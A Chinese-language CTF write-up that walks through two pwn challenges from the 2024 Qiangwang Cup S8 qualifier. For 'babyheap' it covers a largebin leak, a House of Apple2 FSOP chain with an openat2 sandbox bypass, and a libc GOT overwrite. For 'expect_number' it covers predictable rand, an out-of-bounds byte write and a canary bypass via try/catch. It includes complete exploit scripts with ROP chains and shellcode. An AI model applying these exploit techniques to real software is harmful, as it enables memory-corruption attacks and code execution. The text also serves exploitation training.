2024强网杯S8线上初赛 babyheap 参考自大佬:2024 强网杯S8Pwn方向部分题解 - 先知社区
这里复现一下,这个算是这次强网杯最简单的一道pwn题了,这题有两种解法。
首先分析题目,libc2.35,保护全开,常规菜单题。
add申请0x500~0x5FF大小的chunk,且最多能add6次,最多能show和edit1次。
free存在uaf漏洞。
同时提供了一个Env菜单和一个magic菜单,这俩在方法二才会用到。
方法一: 利用思路 常规IO利用,2.35存在svcudp_reply+26
的gadget,因此直接打apple2即可。
利用过程 1、题目开启了沙箱,查看沙箱如下
可以看到禁用了open和openat。这里也是刚刚学到的,这俩被禁用了还可以使用openat2替代。
shellcode如下:
1 2 shellcode = asm(shellcraft.openat2(-100 ,flag_addr,flag_addr+0x1000 ,0x18 )+shellcraft.read(3 ,heap_base+0x10000 ,0x50 )+shellcraft.write(1 ,heap_base+0x10000 ,0x50 )) //openat2需要4 个参数。
2、泄露libc地址和heap地址 由于只有一次show 的机会,所以需要一次泄露出这俩个地址,因此考虑large bin泄露。
首先add几个chunk之后free掉chunk1(索引从1开始),此时chunk1进入unsorted bin中,之后add一个更大的chunk,chunk1进入largebin,利用largebin中既有libc地址也有heap地址的特性,泄露出这俩地址。
这里是write输出的指定size,所以不会被\x00截断,如果是puts或printf(“%s”)还需要先edit修改掉\x00字节。
1 2 3 4 5 6 7 8 9 10 11 12 13 add(0x520 ) add(0x500 ) add(0x510 ) delete(1 ) add(0x530 ) show(1 ) libc_base = get_addr() -0x21b110 print (p.recv(10 ))heap_base = u64(p.recv(8 ))-0x001950 success("libc_base: " + hex (libc_base)) success("heap_base: " + hex (heap_base))
3、伪造IO 因为只有一次edit机会,所以需要把orw内容和fake_io写到一个chunk里,以fake_io+orw的形式。
这里直接套用apple2模板即可。
还有一点需要注意:
在menu之前存在一个clear函数:
发现libcbase+0x217000~0x217300偏移处被清0,即_IO_wfile_overflow
表是空的,所以使用 _IO_wfile_jumps_maybe_mmap
表来执行 _IO_wfile_overflow
函数
1 _IO_wfile_jumps_maybe_mmap = libc_base + 0x216F40
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 delete(3 ) //free小的chunk进入unsorted,此时1 在largebin里。 _IO_list_all = libc_base + libc.sym['_IO_list_all' ] fake_IO_addr = heap_base + 0x001950 magic_gadget = libc_base + 0x16A06A leave_ret = libc_base + 0x4da83 pop_rdi_ret = libc_base + 0x2a3e5 pop_rsi_ret = libc_base + 0x2be51 pop_rdx_r12_ret = libc_base + 0x11f2e7 orw_addr = fake_IO_addr + 0xe0 + 0xe8 + 0x70 flag_addr = orw_addr shellcode = asm(shellcraft.openat2(-100 ,flag_addr,flag_addr+0x1000 ,0x18 )+shellcraft.read(3 ,heap_base+0x10000 ,0x50 )+shellcraft.write(1 ,heap_base+0x10000 ,0x50 )) orw_rop = b'flag\x00\x00\x00\x00' orw_rop += p64(pop_rdx_r12_ret) + p64(0 ) + p64(fake_IO_addr - 0x10 ) orw_rop += p64(pop_rdi_ret) + p64(heap_base) +p64(pop_rsi_ret)+p64(0x10000 )+p64(pop_rdx_r12_ret)+p64(7 )*2 + p64(libc_base + libc.sym['mprotect' ]) orw_rop += p64(heap_base+0x1bf0 )+shellcode //这段orw就是先调用mprotect开辟可执行空间,之后p64(heap_base+0x1bf0 )就是shellcode的地址,跳转到后边的shellcode处执行shellcode。 payload = p64(0 )+p64(leave_ret)+p64(0 )+p64(_IO_list_all-0x20 ) payload = payload.ljust(0x38 , b'\x00' ) + p64(orw_addr) payload = payload.ljust(0x90 , b'\x00' ) + p64(fake_IO_addr + 0xe0 ) payload = payload.ljust(0xc8 , b'\x00' ) + p64(_IO_wfile_jumps_maybe_mmap) payload = payload.ljust(0xd0 + 0xe0 , b'\x00' ) + p64(fake_IO_addr + 0xe0 + 0xe8 ) payload = payload.ljust(0xd0 + 0xe8 + 0x68 , b'\x00' ) + p64(magic_gadget) payload = payload + orw_rop edit(1 ,payload) add(0x550 ) add(0x510 )
4、触发exit 因为程序没有提供exit的菜单,但是可以通过其他菜单触发,此时再次调用show,因为次数已经用尽,所以会走到exit里。、
5、成功orw 可以看到,最后虽然报错了,但是还是读出了flag。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 from pwn import *from ctypes import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) def s (a ): p.send(a) def sa (a, b ): p.sendafter(a, b) def sl (a ): p.sendline(a) def sla (a, b ): p.sendlineafter(a, b) def r (a ): return p.recv(a) def ru (a ): return p.recvuntil(a) def debug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (libc_base ): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) p = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('./libc-2.35.so' ) menu='Enter your choice:' def add (size ): p.sendlineafter(menu,str (1 )) p.sendlineafter("Enter your commodity size \n" ,str (size)) def delete (idx ): p.sendlineafter(menu,str (2 )) p.sendlineafter("Enter which to delete: \n" ,str (idx)) def edit (idx,cont ): p.sendlineafter(menu,str (3 )) p.sendlineafter("Enter which to edit: \n" ,str (idx)) p.sendafter("Input the content \n" ,cont) def show (idx ): p.sendlineafter(menu,str (4 )) p.sendlineafter("Enter which to show: \n" ,str (idx)) def env (choice ): p.sendlineafter(menu,str (5 )) p.sendlineafter('Maybe you will be sad' ,str (choice)) def magic (addr,cont ): p.sendlineafter(menu,str (6 )) p.sendafter("Input your target addr \n" ,addr) p.send(cont) add(0x520 ) add(0x500 ) add(0x510 ) delete(1 ) add(0x530 ) show(1 ) libc_base = get_addr() -0x21b110 print (p.recv(10 ))heap_base = u64(p.recv(8 ))-0x001950 success("libc_base: " + hex (libc_base)) success("heap_base: " + hex (heap_base)) delete(3 ) _IO_list_all = libc_base + libc.sym['_IO_list_all' ] _IO_wfile_jumps_maybe_mmap = libc_base + 0x216F40 fake_IO_addr = heap_base + 0x001950 magic_gadget = libc_base + 0x16A06A leave_ret = libc_base + 0x4da83 pop_rdi_ret = libc_base + 0x2a3e5 pop_rsi_ret = libc_base + 0x2be51 pop_rdx_r12_ret = libc_base + 0x11f2e7 orw_addr = fake_IO_addr + 0xe0 + 0xe8 + 0x70 flag_addr = orw_addr shellcode = asm(shellcraft.openat2(-100 ,flag_addr,flag_addr+0x1000 ,0x18 )+shellcraft.read(3 ,heap_base+0x10000 ,0x50 )+shellcraft.write(1 ,heap_base+0x10000 ,0x50 )) orw_rop = b'flag\x00\x00\x00\x00' orw_rop += p64(pop_rdx_r12_ret) + p64(0 ) + p64(fake_IO_addr - 0x10 ) orw_rop += p64(pop_rdi_ret) + p64(heap_base) +p64(pop_rsi_ret)+p64(0x10000 )+p64(pop_rdx_r12_ret)+p64(7 )*2 + p64(libc_base + libc.sym['mprotect' ]) orw_rop += p64(heap_base+0x1bf0 )+shellcode payload = p64(0 )+p64(leave_ret)+p64(0 )+p64(_IO_list_all-0x20 ) payload = payload.ljust(0x38 , b'\x00' ) + p64(orw_addr) payload = payload.ljust(0x90 , b'\x00' ) + p64(fake_IO_addr + 0xe0 ) payload = payload.ljust(0xc8 , b'\x00' ) + p64(_IO_wfile_jumps_maybe_mmap) payload = payload.ljust(0xd0 + 0xe0 , b'\x00' ) + p64(fake_IO_addr + 0xe0 + 0xe8 ) payload = payload.ljust(0xd0 + 0xe8 + 0x68 , b'\x00' ) + p64(magic_gadget) payload = payload + orw_rop edit(1 ,payload) add(0x550 ) add(0x510 ) show(1 ) p.interactive()
方法二: 该方法参考自大佬:https://www.ctfiot.com/218976.html
方法二就用到另外两个函数了。
Env
env函数是对环境变量的操作。
magic
magic函数是有限制的任意地址 写0x10字节。
check
check函数是限制任意地址写。
利用思路 1、check分析 首先我们分析一下check函数。
第一个条件就是限制不能写_IO_2_1_stdin_
之后的区域,而另外一个条件就有意思了,不能超过 80 开头的一个地址,基本不会触发,所以目标很明确,让我们去写 libc_IO_2_1_stdin_
之前的 data 段,或者是写堆段,程序段写不了因为没有办法泄露地址。
所以,我们查看一下_IO_2_1_stdin_
之前的段有什么可以利用的。
gdb调试一下,_IO_2_1_stdin_
地址为0x7f36dac56aa0
,而这段正好是libc的got表段,正好libc的got表可改,所以目标就是修改libc的got表了。
2、修改got 那么修改什么got呢,这就要用到env里的函数了。
放一下glibc的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 char *getenv (const char *name) { char **ep; uint16_t name_start; if (__environ == NULL || name[0 ] == '') return NULL; if (name[1] == ' ') { /* The name of the variable consists of only one character. Therefore the first two characters of the environment entry are this character and a ' =' character. */ #if __BYTE_ORDER == __LITTLE_ENDIAN || !_STRING_ARCH_unaligned name_start = (' =' << 8) | *(const unsigned char *) name; #else name_start = ' =' | ((*(const unsigned char *) name) << 8); #endif for (ep = __environ; *ep != NULL; ++ep) { #if _STRING_ARCH_unaligned uint16_t ep_start = *(uint16_t *) *ep; #else uint16_t ep_start = (((unsigned char *) *ep)[0] | (((unsigned char *) *ep)[1] << 8)); #endif if (name_start == ep_start) return &(*ep)[2]; } } else { size_t len = strlen (name); #if _STRING_ARCH_unaligned name_start = *(const uint16_t *) name; #else name_start = (((const unsigned char *) name)[0] | (((const unsigned char *) name)[1] << 8)); #endif len -= 2; name += 2; for (ep = __environ; *ep != NULL; ++ep) { #if _STRING_ARCH_unaligned uint16_t ep_start = *(uint16_t *) *ep; #else uint16_t ep_start = (((unsigned char *) *ep)[0] | (((unsigned char *) *ep)[1] << 8)); #endif if (name_start == ep_start && !strncmp (*ep + 2, name, len) && (*ep)[len + 2] == ' =') return &(*ep)[len + 3]; } } return NULL; }
观察到最后一个循环中,它在遍历环境变量,并且使用 strncmp 这个函数,而这个函数恰好是在 got 表中的,如果尝试将其改为 puts,那么程序会打印出所有的环境变量信息,恰好这题远程的环境变量里就存有flag。
本地运行结果如下:
所以思路就很明显了,修改strncmp_got
为puts
,再用env里的putenv
触发strncmp
即可。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *from ctypes import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) def s (a ): p.send(a) def sa (a, b ): p.sendafter(a, b) def sl (a ): p.sendline(a) def sla (a, b ): p.sendlineafter(a, b) def r (a ): return p.recv(a) def ru (a ): return p.recvuntil(a) def debug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (libc_base ): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) p = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('./libc-2.35.so' ) menu='Enter your choice:' def add (size ): p.sendlineafter(menu,str (1 )) p.sendlineafter("Enter your commodity size \n" ,str (size)) def delete (idx ): p.sendlineafter(menu,str (2 )) p.sendlineafter("Enter which to delete: \n" ,str (idx)) def edit (idx,cont ): p.sendlineafter(menu,str (3 )) p.sendlineafter("Enter which to edit: \n" ,str (idx)) p.sendafter("Input the content \n" ,cont) def show (idx ): p.sendlineafter(menu,str (4 )) p.sendlineafter("Enter which to show: \n" ,str (idx)) def env (choice ): p.sendlineafter(menu,str (5 )) p.sendlineafter('Maybe you will be sad' ,str (choice)) def magic (addr,cont ): p.sendlineafter(menu,str (6 )) p.sendafter("Input your target addr \n" ,addr) p.send(cont) add(0x520 ) add(0x500 ) add(0x510 ) delete(1 ) add(0x530 ) show(1 ) libc_base = get_addr() -0x21b110 print (p.recv(10 ))heap_base = u64(p.recv(8 ))-0x001950 success("libc_base: " + hex (libc_base)) success("heap_base: " + hex (heap_base)) magic(p64(libc_base+0x21a118 ),p64(libc_base+libc.sym['puts' ])) env(2 ) p.interactive()
expect_number 比赛时没认真看,现在复现一下,其实也不难。
首先main中调用了srand(1)。
之后进入主要逻辑函数,如下。
菜单1为game,菜单2为show,菜单3为submit,菜单4是magic函数,call **0x5010。
这里逐步分析一下各菜单功能。
game 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 unsigned __int64 __fastcall game (__int64 a1, __int64 a2, __int64 a3) { __int64 v3; __int64 v4; __int64 v5; __int64 v6; char v7; int input; int v11; int v12; unsigned __int64 v13; v13 = __readfsqword(0x28 u); if ( *(int *)(a2 + 8 ) <= 0x120 ) { input = 0 ; v12 = rand() % 4 + 1 ; v4 = std ::operator<<<std ::char_traits<char >>(&std ::cout , ">> Which one do you choose? 2 or 1 or 0" ); std ::ostream::operator<<(v4, &std ::endl <char ,std ::char_traits<char >>); std ::istream::operator>>(&std ::cin , &input); check_1(a1, input); v11 = *(char *)(a2 + *(int *)(a2 + 8 ) + 12 ); if ( v12 == 4 ) { if ( !input ) { v5 = std ::operator<<<std ::char_traits<char >>(&std ::cout , "Divisor cannot be 0!" ); std ::ostream::operator<<(v5, &std ::endl <char ,std ::char_traits<char >>); exit (-1 ); } if ( v11 % input ) { v6 = std ::operator<<<std ::char_traits<char >>(&std ::cout , "It's not divisible!" ); std ::ostream::operator<<(v6, &std ::endl <char ,std ::char_traits<char >>); exit (-1 ); } v11 /= input; } else if ( v12 <= 4 ) { switch ( v12 ) { case 3 : v11 *= input; break ; case 1 : v11 += input; break ; case 2 : v11 -= input; break ; } } check_2(a3, v11); *(_BYTE *)(a2 + *(int *)(a2 + 8 ) + 12 ) = input + 48 ; v7 = v11; *(_BYTE *)(a2 + (int )++*(_DWORD *)(a2 + 8 ) + 12 ) = v7; } else { v3 = std ::operator<<<std ::char_traits<char >>( &std ::cout , "The number of games has expired and I cannot continue playing with you" ); std ::ostream::operator<<(v3, &std ::endl <char ,std ::char_traits<char >>); } return v13 - __readfsqword(0x28 u); }
game函数是根据rand随机生成运算符号,然后与我们输入的数进行加减乘除。
其中check_1检查只能输入0、1、2,check_2检查0x5520处内容不能大于0x101。
这里存在漏洞越界写,其中v11保存之前计算后的结果,之后再取出来进行新的运算。
其中 *(_BYTE *)(a2 + (int)++*(_DWORD *)(a2 + 8) + 12) = v7;
存在溢出写,因为a2指向的是0x5400,而边界检查条件是*(int *)(a2 + 8) <= 0x120
,所以可以利用他的 +12 溢出修改掉0x5520处内容。
show 1 2 3 4 5 6 7 8 9 __int64 __fastcall show (__int64 a1, __int64 a2) { __int64 v2; __int64 v3; v2 = std ::operator<<<std ::char_traits<char >>(&std ::cout , "History is : " ); v3 = std ::operator<<<std ::char_traits<char >>(v2, a2 + 12 ); return std ::ostream::operator<<(v3, &std ::endl <char ,std ::char_traits<char >>); }
show打印0x5400的内容。
submit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __fastcall submit (__int64 a1) { __int64 v1; __int64 v3; if ( *(_BYTE *)(a1 + *(int *)(a1 + 8 ) + 12 ) == 0xA2 ) { v1 = std ::operator<<<std ::char_traits<char >>(&std ::cout , "Incredible, congratulations!" ); std ::ostream::operator<<(v1, &std ::endl <char ,std ::char_traits<char >>); return system("cat gift" ); } else { v3 = std ::operator<<<std ::char_traits<char >>(&std ::cout , "Please continue to work hard!" ); return std ::ostream::operator<<(v3, &std ::endl <char ,std ::char_traits<char >>); } }
没什么用。
magic 关键函数,会调用**0x5010,而在main之前作了一些初始化操作。
所以,0x5010指向unk_5520,而5520存的是0x4C48,并且指向sub_2AF6。所以输出4会i调用sub_2AF6,即输出Good bye!
利用思路 1、溢出控制0x5520 通过game中的溢出控制0x5520指向backdoor,程序存在后门函数,该函数存在栈溢出。如下:
因为调用是间接指向,所以我们需要修改0x5520由原先的0x4C48变成0x4C60,即修改低字节为0x60,所以需要构造前边的随机数,使得执行到0x114轮次时,result = 0x60,就会赋值*(0x5400 + 0x114 + 12) = 0x60
所以,我们的目的就是让他执行到0x114轮次时,result = 0x60。因此,构造一下输入如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 res = 0 for i in range (0x114 ): tmp = libc_rand.rand() % 4 + 1 if tmp == 1 : if res < 0x60 : if res + 2 <= 0x60 : game(2 ) res += 2 else : game(1 ) res += 1 else : game(0 ) elif tmp == 2 : game(0 ) else : game(1 ) print (res) //0x60
即当是加法的时候,进行+1或+2的操作,其他的操作都让他保持不变。
执行完后结果如下,可以看到成功修改低位变成了0x60:
2、利用try_catch 该后门函数存在栈溢出,虽然开启了canary,但是下边存在try_catch,可以利用try_catch绕过canary检测,且后边存在system(binsh)
的try_catch段,所以修改返回地址为该try地址即可(0x2516 ~ 0x251a都可以)。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *from ctypes import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) def s (a ): p.send(a) def sa (a, b ): p.sendafter(a, b) def sl (a ): p.sendline(a) def sla (a, b ): p.sendlineafter(a, b) def r (a ): return p.recv(a) def ru (a ): return p.recvuntil(a) def debug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (libcbase ): return libcbase + libc.sym['system' ], libcbase + next (libc.search(b'/bin/sh\x00' )) p = process('./pwn' ) elf = ELF('./pwn' ) libc_rand = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6' ) libc_rand.srand(1 ) def game (choice ): sla("for your choice \n" ,str (1 )) sla("2 or 1 or 0\n" ,str (choice)) def show (): sla("for your choice \n" ,str (2 )) def magic (): sla("for your choice \n" ,str (4 )) res = 0 for i in range (0x114 ): tmp = libc_rand.rand() % 4 + 1 if tmp == 1 : if res < 0x60 : if res + 2 <= 0x60 : game(2 ) res += 2 else : game(1 ) res += 1 else : game(0 ) elif tmp == 2 : game(0 ) else : game(1 ) print (res)show() ru('History is : ' ) r(0x114 ) elf_base = u64(r(6 ).ljust(8 ,b'\x00' )) - 0x4c60 back = elf_base + 0x2516 bss = elf_base + 0x5800 success("elf_base: " + hex (elf_base)) magic() payload = b'a' * 0x20 + p64(bss) + p64(back) //还是要注意rbp需要可写,写成bss即可 sla("Tell me your favorite number.\n" ,payload) p.interactive()